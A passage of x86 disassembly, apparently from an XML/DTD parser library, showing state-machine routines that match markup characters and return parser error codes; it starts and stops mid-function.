					; sub_69B32EF6+33Dj ...
		xor	eax, eax
		jmp	loc_69B330D7
; ---------------------------------------------------------------------------


loc_69B33187:				; CODE XREF: sub_69B32EF6+25Ej
		push	edx
		call	sub_69B31987
		test	eax, eax
		jnz	short loc_69B331DB
		cmp	[esi+86h], al
		jz	short loc_69B331C1
		cmp	[esi+0A5h], al
		jz	short loc_69B331AA
		push	26h
		mov	ecx, esi
		call	sub_69B31F28


loc_69B331AA:				; CODE XREF: sub_69B32EF6+2A9j
					; sub_69B32EF6+3EFj ...
		mov	byte ptr [esi+54h], 0


loc_69B331AE:				; CODE XREF: sub_69B32EF6+3DAj
		push	1
		mov	ecx, esi
		call	sub_69B3220F
		test	eax, eax
		jl	loc_69B330D7
		jmp	short loc_69B33180
; ---------------------------------------------------------------------------


loc_69B331C1:				; CODE XREF: sub_69B32EF6+2A1j
		mov	esi, [esi+34h]
		mov	eax, [esi+48h]
		sub	eax, [esi+8]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFF1h
		add	eax, 0C00CE513h
		jmp	loc_69B330D7
; ---------------------------------------------------------------------------


loc_69B331DB:				; CODE XREF: sub_69B32EF6+299j
		push	6
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B330D7
		mov	ecx, esi
		mov	word ptr [esi+4], 1
		call	sub_69B32791
		jmp	loc_69B330D7
; ---------------------------------------------------------------------------


loc_69B33203:				; CODE XREF: sub_69B32EF6+2Aj
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B3321E
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33225
; ---------------------------------------------------------------------------


loc_69B3321E:				; CODE XREF: sub_69B32EF6+314j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33225:				; CODE XREF: sub_69B32EF6+326j
		test	eax, eax
		jnz	loc_69B330D7
		mov	word ptr [esi+4], 5
		jmp	loc_69B33180
; ---------------------------------------------------------------------------


loc_69B33238:				; CODE XREF: sub_69B32EF6+4Aj
					; sub_69B32EF6+ACj ...
		mov	word ptr [esi+4], 9
		jmp	loc_69B33180
; ---------------------------------------------------------------------------


loc_69B33243:				; CODE XREF: sub_69B32EF6+1Fj
					; sub_69B32EF6+108j ...
		mov	eax, 0C00CE559h
		jmp	loc_69B330D7
; ---------------------------------------------------------------------------


loc_69B3324D:				; CODE XREF: sub_69B32EF6+175j
					; sub_69B32EF6+197j
		mov	eax, [esi+40h]
		test	eax, eax
		jz	short loc_69B3326D
		mov	ecx, edi
		neg	ecx
		dec	edi
		mov	[esi+48h], ecx
		mov	[esi+4Ch], edi
		mov	[esi+44h], eax
		mov	word ptr [esi+4], 7
		jmp	loc_69B33180
; ---------------------------------------------------------------------------


loc_69B3326D:				; CODE XREF: sub_69B32EF6+35Cj
		mov	ecx, [esi+34h]
		dec	edi
		push	edi
		call	sub_69B318D1
		mov	word ptr [esi+4], 7


loc_69B3327D:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333BAo
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B33298
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B3329F
; ---------------------------------------------------------------------------


loc_69B33298:				; CODE XREF: sub_69B32EF6+38Ej
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3329F:				; CODE XREF: sub_69B32EF6+3A0j
		test	eax, eax
		jnz	loc_69B330D7
		mov	eax, [esi+80h]
		or	dword ptr [esi+48h], 0FFFFFFFFh
		mov	dword ptr [esi+44h], 11h
		mov	[esi+60h], eax


loc_69B332BB:				; CODE XREF: sub_69B32EF6+4A3j
		mov	word ptr [esi+4], 8
		jmp	loc_69B33180
; ---------------------------------------------------------------------------


loc_69B332C6:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333BEo
		mov	ecx, [esi+34h]
		push	0
		call	sub_69B318D1
		jmp	loc_69B331AE
; ---------------------------------------------------------------------------


loc_69B332D5:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333C2o
		cmp	byte ptr [esi+86h], 0
		jz	short loc_69B33320
		cmp	byte ptr [esi+0A5h], 0
		jz	loc_69B331AA
		mov	ecx, [esi+34h]
		mov	edi, [ecx+8]
		sub	edi, [ecx+14h]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		dec	edi
		call	sub_69B35C65
		mov	ebx, [esi+6Ch]
		jmp	short loc_69B33317
; ---------------------------------------------------------------------------


loc_69B33307:				; CODE XREF: sub_69B32EF6+423j
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+ebx*2]
		push	eax
		mov	ecx, esi
		call	sub_69B31F28
		inc	ebx


loc_69B33317:				; CODE XREF: sub_69B32EF6+40Fj
		cmp	ebx, edi
		jl	short loc_69B33307
		jmp	loc_69B331AA
; ---------------------------------------------------------------------------


loc_69B33320:				; CODE XREF: sub_69B32EF6+3E6j
		mov	eax, 0C00CE50Dh
		jmp	loc_69B330D7
; ---------------------------------------------------------------------------


loc_69B3332A:				; CODE XREF: sub_69B32EF6+1B8j
		neg	eax
		sub	edi, ebx
		mov	dword ptr [esi+44h], 0Dh
		mov	[esi+48h], eax
		mov	[esi+4Ch], edi
		mov	word ptr [esi+4], 0Bh
		jmp	loc_69B33180
; ---------------------------------------------------------------------------


loc_69B33346:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333CAo
		xor	eax, eax
		mov	ax, [esi+0C0h]
		mov	ecx, esi
		mov	byte ptr [esi+0A5h], 1
		push	eax
		call	sub_69B31F28
		mov	eax, [esi+40h]
		mov	[esi+44h], eax
		mov	word ptr [esi+4], 0Ch
		jmp	loc_69B33180
; ---------------------------------------------------------------------------


loc_69B3336F:				; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
					; DATA XREF: .text:69B333CEo
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B3338A
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33391
; ---------------------------------------------------------------------------


loc_69B3338A:				; CODE XREF: sub_69B32EF6+480j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33391:				; CODE XREF: sub_69B32EF6+492j
		test	eax, eax
		jnz	loc_69B330D7
		jmp	loc_69B332BB
sub_69B32EF6	endp

; ---------------------------------------------------------------------------
off_69B3339E	dd offset loc_69B330DC	; DATA XREF: sub_69B32EF6:loc_69B32F0Ar
		dd offset loc_69B33112
		dd offset loc_69B3313E
		dd offset loc_69B32F11
		dd offset loc_69B32F2C
		dd offset loc_69B32F8E
		dd offset loc_69B32FFA
		dd offset loc_69B3327D
		dd offset loc_69B332C6
		dd offset loc_69B332D5
		dd offset loc_69B330A2
		dd offset loc_69B33346
		dd offset loc_69B3336F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B347D3


loc_69B333D2:				; CODE XREF: sub_69B347D3+1E9j
					; DATA XREF: sub_69B33AED+9Do ...
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		sub	eax, 0
		jz	short loc_69B333EE
		dec	eax
		jz	short loc_69B333F4
		dec	eax
		jz	short loc_69B33417
		dec	eax
		jz	short loc_69B33455
		mov	eax, 0C00CE512h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B333EE:				; CODE XREF: sub_69B347D3-13F7j
		mov	word ptr [esi+4], 1


loc_69B333F4:				; CODE XREF: sub_69B347D3-13F4j
		push	2
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B3347C
		mov	ecx, esi
		call	sub_69B32791
		test	eax, eax
		jl	short loc_69B3347C
		mov	word ptr [esi+4], 2


loc_69B33417:				; CODE XREF: sub_69B347D3-13F1j
		lea	eax, [esi+5Ch]
		cmp	byte ptr [eax],	0
		jnz	short loc_69B3345B
		lea	ecx, [esi+52h]
		cmp	word ptr [ecx],	3Bh
		jz	short loc_69B3342F
		mov	eax, 0C00CE50Dh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B3342F:				; CODE XREF: sub_69B347D3-13ADj
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B33444
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B3344B
; ---------------------------------------------------------------------------


loc_69B33444:				; CODE XREF: sub_69B347D3-139Dj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3344B:				; CODE XREF: sub_69B347D3-1391j
		test	eax, eax
		jnz	short loc_69B3347C
		mov	word ptr [esi+4], 3


loc_69B33455:				; CODE XREF: sub_69B347D3-13EEj
		cmp	byte ptr [esi+5Ch], 0
		jz	short loc_69B33462


loc_69B3345B:				; CODE XREF: sub_69B347D3-13B6j
		mov	eax, 0C00CE559h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B33462:				; CODE XREF: sub_69B347D3-137Aj
		or	dword ptr [esi+48h], 0FFFFFFFFh
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+44h], 16h
		call	sub_69B3220F
		test	eax, eax
		jl	short loc_69B3347C
		xor	eax, eax


loc_69B3347C:				; CODE XREF: sub_69B347D3-13CFj
					; sub_69B347D3-13C4j ...
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B347D3

; =============== S U B	R O U T	I N E =======================================



sub_69B3347E	proc near		; DATA XREF: sub_69B33C72+11Eo
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		jz	loc_69B335DA
		dec	eax
		jz	loc_69B33558
		dec	eax
		jz	loc_69B335AC
		dec	eax
		jz	short loc_69B334AC
		dec	eax
		jz	short loc_69B334E9
		mov	eax, 0C00CE512h


loc_69B334A9:				; CODE XREF: sub_69B3347E+63j
					; sub_69B3347E+77j ...
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B334AC:				; CODE XREF: sub_69B3347E+21j
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jnz	short loc_69B334F0
		mov	ecx, [esi+34h]
		mov	edx, [ecx+48h]
		cmp	edx, [ecx+8]
		jz	short loc_69B33502
		lea	edx, [esi+52h]
		cmp	word ptr [edx],	5Dh
		jnz	short loc_69B33512
		cmp	[esi+0A8h], bl
		jnz	short loc_69B334D8
		push	eax
		push	edx
		call	sub_69B35FE4
		jmp	short loc_69B334DF
; ---------------------------------------------------------------------------


loc_69B334D8:				; CODE XREF: sub_69B3347E+4Fj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B334DF:				; CODE XREF: sub_69B3347E+58j
		cmp	eax, ebx
		jnz	short loc_69B334A9
		mov	word ptr [esi+4], 4


loc_69B334E9:				; CODE XREF: sub_69B3347E+24j
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jz	short loc_69B334F7


loc_69B334F0:				; CODE XREF: sub_69B3347E+33j
					; sub_69B3347E+DFj ...
		mov	eax, 0C00CE562h
		jmp	short loc_69B334A9
; ---------------------------------------------------------------------------


loc_69B334F7:				; CODE XREF: sub_69B3347E+70j
		mov	ecx, [esi+34h]
		mov	edx, [ecx+48h]
		cmp	edx, [ecx+8]
		jnz	short loc_69B33509


loc_69B33502:				; CODE XREF: sub_69B3347E+3Ej
		mov	eax, 0C00CE513h
		jmp	short loc_69B334A9
; ---------------------------------------------------------------------------


loc_69B33509:				; CODE XREF: sub_69B3347E+82j
		lea	edx, [esi+52h]
		cmp	word ptr [edx],	3Eh
		jz	short loc_69B33519


loc_69B33512:				; CODE XREF: sub_69B3347E+47j
		mov	eax, 0C00CE511h
		jmp	short loc_69B334A9
; ---------------------------------------------------------------------------


loc_69B33519:				; CODE XREF: sub_69B3347E+92j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B3352A
		push	eax
		push	edx
		call	sub_69B35FE4
		jmp	short loc_69B33531
; ---------------------------------------------------------------------------


loc_69B3352A:				; CODE XREF: sub_69B3347E+A1j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33531:				; CODE XREF: sub_69B3347E+AAj
		cmp	eax, ebx
		jnz	loc_69B334A9
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+44h], 44h
		call	sub_69B3220F
		cmp	eax, ebx
		jl	loc_69B334A9


loc_69B33551:				; CODE XREF: sub_69B3347E+126j
		xor	eax, eax
		jmp	loc_69B334A9
; ---------------------------------------------------------------------------


loc_69B33558:				; CODE XREF: sub_69B3347E+13j
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jnz	short loc_69B334F0
		lea	ecx, [esi+52h]
		cmp	word ptr [ecx],	5Bh
		jz	short loc_69B33572
		mov	eax, 0C00CE510h
		jmp	loc_69B334A9
; ---------------------------------------------------------------------------


loc_69B33572:				; CODE XREF: sub_69B3347E+E8j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B33586
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B3358D
; ---------------------------------------------------------------------------


loc_69B33586:				; CODE XREF: sub_69B3347E+FAj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3358D:				; CODE XREF: sub_69B3347E+106j
		cmp	eax, ebx
		jnz	loc_69B334A9
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		cmp	[esi+0B0h], bl
		jnz	short loc_69B33551
		mov	word ptr [esi+4], 2


loc_69B335AC:				; CODE XREF: sub_69B3347E+1Aj
		cmp	[esi+5Ch], bl
		jnz	loc_69B334F0
		inc	dword ptr [esi+0ACh]
		push	3
		push	offset sub_69B347D3
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B334A9
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B347D3
; ---------------------------------------------------------------------------


loc_69B335DA:				; CODE XREF: sub_69B3347E+Cj
		push	1
		push	offset sub_69B3254F
		mov	ecx, esi
		mov	dword ptr [esi+44h], 0Ch
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B334A9
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B3254F
sub_69B3347E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B33600	proc near		; DATA XREF: sub_69B33C72+FEo
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		cmp	eax, 7		; switch 8 cases
		push	edi
		ja	loc_69B3388B	; default
		xor	ebx, ebx
		jmp	ds:off_69B33894[eax*4] ; switch	jump


loc_69B3361B:				; DATA XREF: .text:off_69B33894o
		inc	dword ptr [esi+0B4h] ; jumptable 69B33614 case 0
		push	1
		push	offset sub_69B3254F
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jmp	short loc_69B33698
; ---------------------------------------------------------------------------


loc_69B33633:				; CODE XREF: sub_69B33600+14j
					; DATA XREF: .text:off_69B33894o
		lea	eax, [esi+5Ch]	; jumptable 69B33614 case 1
		xor	ebx, ebx
		cmp	[eax], bl
		jnz	loc_69B3386D
		lea	ecx, [esi+52h]
		cmp	word ptr [ecx],	5Bh
		jz	short loc_69B33653
		mov	eax, 0C00CE510h
		jmp	loc_69B33890
; ---------------------------------------------------------------------------


loc_69B33653:				; CODE XREF: sub_69B33600+47j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B33667
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B3366E
; ---------------------------------------------------------------------------


loc_69B33667:				; CODE XREF: sub_69B33600+59j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3366E:				; CODE XREF: sub_69B33600+65j
		cmp	eax, ebx
		jnz	loc_69B33890
		cmp	dword ptr [esi+0B4h], 1
		jnz	short loc_69B33688
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1


loc_69B33688:				; CODE XREF: sub_69B33600+7Dj
		push	2
		push	offset sub_69B3254F
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx


loc_69B33698:				; CODE XREF: sub_69B33600+31j
		jl	loc_69B33890
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B3254F
; ---------------------------------------------------------------------------


loc_69B336A8:				; CODE XREF: sub_69B33600+14j
					; DATA XREF: .text:off_69B33894o
		xor	ebx, ebx	; jumptable 69B33614 case 2
		mov	[esi+8Dh], bl
		lea	edi, [esi+52h]
		jmp	short loc_69B336E5
; ---------------------------------------------------------------------------


loc_69B336B5:				; CODE XREF: sub_69B33600+E9j
		cmp	word ptr [edi],	3Ch
		jz	short loc_69B336EB
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jnz	short loc_69B336EB
		cmp	[esi+0A8h], bl
		jnz	short loc_69B336D6
		mov	ecx, [esi+34h]
		push	eax
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B336DD
; ---------------------------------------------------------------------------


loc_69B336D6:				; CODE XREF: sub_69B33600+C8j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B336DD:				; CODE XREF: sub_69B33600+D4j
		cmp	eax, ebx
		jnz	loc_69B33890


loc_69B336E5:				; CODE XREF: sub_69B33600+B3j
		cmp	word ptr [edi],	5Dh
		jnz	short loc_69B336B5


loc_69B336EB:				; CODE XREF: sub_69B33600+B9j
					; sub_69B33600+C0j
		cmp	[esi+5Ch], bl
		jnz	loc_69B3386D
		cmp	word ptr [edi],	3Ch
		jnz	short loc_69B33705
		mov	word ptr [esi+4], 6
		jmp	loc_69B33839
; ---------------------------------------------------------------------------


loc_69B33705:				; CODE XREF: sub_69B33600+F8j
		mov	word ptr [esi+4], 3


loc_69B3370B:				; CODE XREF: sub_69B33600+14j
					; DATA XREF: .text:off_69B33894o
		cmp	[esi+0A8h], bl	; jumptable 69B33614 case 3
		jnz	short loc_69B33725
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B3372C
; ---------------------------------------------------------------------------


loc_69B33725:				; CODE XREF: sub_69B33600+111j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3372C:				; CODE XREF: sub_69B33600+123j
		cmp	eax, ebx
		jnz	loc_69B33890
		cmp	[esi+5Ch], bl
		jnz	loc_69B3386D
		cmp	word ptr [esi+52h], 5Dh
		jnz	loc_69B33833
		mov	word ptr [esi+4], 4


loc_69B3374E:				; CODE XREF: sub_69B33600+14j
					; DATA XREF: .text:off_69B33894o
		cmp	[esi+0A8h], bl	; jumptable 69B33614 case 4
		jnz	short loc_69B33768
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B3376F
; ---------------------------------------------------------------------------


loc_69B33768:				; CODE XREF: sub_69B33600+154j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3376F:				; CODE XREF: sub_69B33600+166j
		cmp	eax, ebx
		jnz	loc_69B33890
		cmp	[esi+5Ch], bl
		jnz	loc_69B3386D
		mov	ax, [esi+52h]
		cmp	ax, 5Dh
		jnz	short loc_69B33795
		mov	word ptr [esi+4], 4
		jmp	loc_69B33839
; ---------------------------------------------------------------------------


loc_69B33795:				; CODE XREF: sub_69B33600+188j
		cmp	ax, 3Eh
		jnz	loc_69B33833
		mov	word ptr [esi+4], 5


loc_69B337A5:				; CODE XREF: sub_69B33600+14j
					; DATA XREF: .text:off_69B33894o
		cmp	[esi+0A8h], bl	; jumptable 69B33614 case 5
		jnz	short loc_69B337BF
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B337C6
; ---------------------------------------------------------------------------


loc_69B337BF:				; CODE XREF: sub_69B33600+1ABj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B337C6:				; CODE XREF: sub_69B33600+1BDj
		cmp	eax, ebx
		jnz	loc_69B33890
		lea	eax, [esi+0B4h]
		dec	dword ptr [eax]
		cmp	[eax], ebx
		jg	short loc_69B33833
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+44h], 0Fh
		mov	dword ptr [esi+48h], 0FFFFFFFDh
		call	sub_69B3220F
		cmp	eax, ebx
		jl	loc_69B33890
		mov	byte ptr [esi+8Dh], 1
		jmp	short loc_69B33839
; ---------------------------------------------------------------------------


loc_69B33802:				; CODE XREF: sub_69B33600+14j
					; DATA XREF: .text:off_69B33894o
		cmp	[esi+0A8h], bl	; jumptable 69B33614 case 6
		jnz	short loc_69B3381C
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33823
; ---------------------------------------------------------------------------


loc_69B3381C:				; CODE XREF: sub_69B33600+208j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33823:				; CODE XREF: sub_69B33600+21Aj
		cmp	eax, ebx
		jnz	short loc_69B33890
		cmp	[esi+5Ch], bl
		jnz	short loc_69B3386D
		cmp	word ptr [esi+52h], 21h
		jz	short loc_69B3383D


loc_69B33833:				; CODE XREF: sub_69B33600+142j
					; sub_69B33600+199j ...
		mov	word ptr [esi+4], 2


loc_69B33839:				; CODE XREF: sub_69B33600+100j
					; sub_69B33600+190j ...
		xor	eax, eax
		jmp	short loc_69B33890
; ---------------------------------------------------------------------------


loc_69B3383D:				; CODE XREF: sub_69B33600+231j
		mov	word ptr [esi+4], 7


loc_69B33843:				; CODE XREF: sub_69B33600+14j
					; DATA XREF: .text:off_69B33894o
		cmp	[esi+0A8h], bl	; jumptable 69B33614 case 7
		jnz	short loc_69B3385D
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33864
; ---------------------------------------------------------------------------


loc_69B3385D:				; CODE XREF: sub_69B33600+249j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33864:				; CODE XREF: sub_69B33600+25Bj
		cmp	eax, ebx
		jnz	short loc_69B33890
		cmp	[esi+5Ch], bl
		jz	short loc_69B33874


loc_69B3386D:				; CODE XREF: sub_69B33600+3Aj
					; sub_69B33600+EEj ...
		mov	eax, 0C00CE562h
		jmp	short loc_69B33890
; ---------------------------------------------------------------------------


loc_69B33874:				; CODE XREF: sub_69B33600+26Bj
		xor	eax, eax
		cmp	word ptr [esi+52h], 5Bh
		jz	short loc_69B33885
		mov	word ptr [esi+4], 2
		jmp	short loc_69B33890
; ---------------------------------------------------------------------------


loc_69B33885:				; CODE XREF: sub_69B33600+27Bj
		mov	[esi+4], bx
		jmp	short loc_69B33890
; ---------------------------------------------------------------------------


loc_69B3388B:				; CODE XREF: sub_69B33600+Cj
		mov	eax, 0C00CE512h	; default


loc_69B33890:				; CODE XREF: sub_69B33600+4Ej
					; sub_69B33600+70j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B33600	endp

; ---------------------------------------------------------------------------
off_69B33894	dd offset loc_69B3361B	; DATA XREF: sub_69B33600+14r
		dd offset loc_69B33633	; jump table for switch	statement
		dd offset loc_69B336A8
		dd offset loc_69B3370B
		dd offset loc_69B3374E
		dd offset loc_69B337A5
		dd offset loc_69B33802
		dd offset loc_69B33843

; =============== S U B	R O U T	I N E =======================================



sub_69B338B4	proc near		; CODE XREF: sub_69B33E72+43Cp
					; DATA XREF: sub_69B33E72+426o
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		sub	eax, 0
		push	edi
		mov	edi, offset sub_69B3254F
		jz	short loc_69B338DA
		dec	eax
		jz	short loc_69B33904
		dec	eax
		jz	loc_69B33961
		mov	eax, 0C00CE512h
		jmp	loc_69B33970
; ---------------------------------------------------------------------------


loc_69B338DA:				; CODE XREF: sub_69B338B4+10j
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jnz	short loc_69B338FE
		push	1
		push	edi
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B33970
		mov	ecx, esi
		call	sub_69B3254F
		test	eax, eax
		jl	short loc_69B33970


loc_69B338FE:				; CODE XREF: sub_69B338B4+2Fj
		mov	word ptr [esi+4], 1


loc_69B33904:				; CODE XREF: sub_69B338B4+13j
		lea	eax, [esi+52h]
		cmp	word ptr [eax],	3Dh
		jz	short loc_69B33914
		mov	eax, 0C00CE501h
		jmp	short loc_69B33970
; ---------------------------------------------------------------------------


loc_69B33914:				; CODE XREF: sub_69B338B4+57j
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B3392C
		lea	ecx, [esi+5Ch]
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33933
; ---------------------------------------------------------------------------


loc_69B3392C:				; CODE XREF: sub_69B338B4+67j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33933:				; CODE XREF: sub_69B338B4+76j
		test	eax, eax
		jnz	short loc_69B33970
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jnz	short loc_69B3395B
		push	2
		push	edi
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B33970
		mov	ecx, esi
		call	sub_69B3254F
		test	eax, eax
		jl	short loc_69B33970


loc_69B3395B:				; CODE XREF: sub_69B338B4+8Cj
		mov	word ptr [esi+4], 2


loc_69B33961:				; CODE XREF: sub_69B338B4+16j
		push	0
		mov	ecx, esi
		call	sub_69B3220F
		test	eax, eax
		jl	short loc_69B33970
		xor	eax, eax


loc_69B33970:				; CODE XREF: sub_69B338B4+21j
					; sub_69B338B4+3Dj ...
		pop	edi
		pop	esi
		retn
sub_69B338B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B33973	proc near		; DATA XREF: sub_69B33E72+65Bo
					; sub_69B34F0F+2FFo
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		push	edi
		jz	short loc_69B33993
		dec	eax
		dec	eax
		jz	short loc_69B339A0
		dec	eax
		jz	short loc_69B339D9
		mov	eax, 0C00CE512h
		jmp	loc_69B33AE9
; ---------------------------------------------------------------------------


loc_69B33993:				; CODE XREF: sub_69B33973+Dj
		mov	byte ptr [esi+0B2h], 1
		mov	word ptr [esi+4], 2


loc_69B339A0:				; CODE XREF: sub_69B33973+11j
		lea	edi, [esi+52h]
		jmp	short loc_69B339CA
; ---------------------------------------------------------------------------


loc_69B339A5:				; CODE XREF: sub_69B33973+5Ej
		mov	ax, [edi]
		cmp	ax, 3Ch
		jz	short loc_69B339D3
		cmp	[esi+5Ch], bl
		jnz	short loc_69B339D3
		cmp	ax, 26h
		jz	short loc_69B339EA
		mov	ecx, [esi+34h]
		lea	eax, [esi+54h]
		push	eax
		push	edi
		call	sub_69B35B2D
		cmp	eax, ebx
		jl	short loc_69B339FD


loc_69B339CA:				; CODE XREF: sub_69B33973+30j
		mov	ax, [edi]
		cmp	ax, [esi+56h]
		jnz	short loc_69B339A5


loc_69B339D3:				; CODE XREF: sub_69B33973+39j
					; sub_69B33973+3Ej
		mov	word ptr [esi+4], 3


loc_69B339D9:				; CODE XREF: sub_69B33973+14j
		lea	ecx, [esi+5Ch]
		cmp	[ecx], bl
		jz	short loc_69B33A2E
		mov	eax, 0C00CE560h
		jmp	loc_69B33AE9
; ---------------------------------------------------------------------------


loc_69B339EA:				; CODE XREF: sub_69B33973+44j
		push	2
		push	offset sub_69B32EF6
		mov	ecx, esi
		call	sub_69B320E7
		jmp	loc_69B33AE9
; ---------------------------------------------------------------------------


loc_69B339FD:				; CODE XREF: sub_69B33973+55j
		cmp	eax, 8000000Ah
		jnz	loc_69B33AE9
		cmp	[esi+0A8h], bl
		jnz	short loc_69B33A22
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		push	edi
		call	sub_69B35FE4
		jmp	loc_69B33AE9
; ---------------------------------------------------------------------------


loc_69B33A22:				; CODE XREF: sub_69B33973+9Bj
		mov	ecx, esi
		call	sub_69B34A8C
		jmp	loc_69B33AE9
; ---------------------------------------------------------------------------


loc_69B33A2E:				; CODE XREF: sub_69B33973+6Bj
		lea	eax, [esi+52h]
		mov	dx, [eax]
		cmp	dx, [esi+56h]
		jnz	short loc_69B33AAD
		cmp	[esi+0A8h], bl
		jnz	short loc_69B33A4E
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33A55
; ---------------------------------------------------------------------------


loc_69B33A4E:				; CODE XREF: sub_69B33973+CDj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33A55:				; CODE XREF: sub_69B33973+D9j
		cmp	eax, ebx
		jnz	loc_69B33AE9
		cmp	[esi+0B9h], bl
		jz	short loc_69B33A91
		cmp	[esi+0A5h], bl
		jz	short loc_69B33A75
		cmp	[esi+9Ch], ebx
		jg	short loc_69B33A84


loc_69B33A75:				; CODE XREF: sub_69B33973+F8j
		mov	eax, [esi+34h]
		mov	ecx, [eax+8]
		sub	ecx, [eax+14h]
		dec	ecx
		cmp	ecx, 1
		jle	short loc_69B33A98


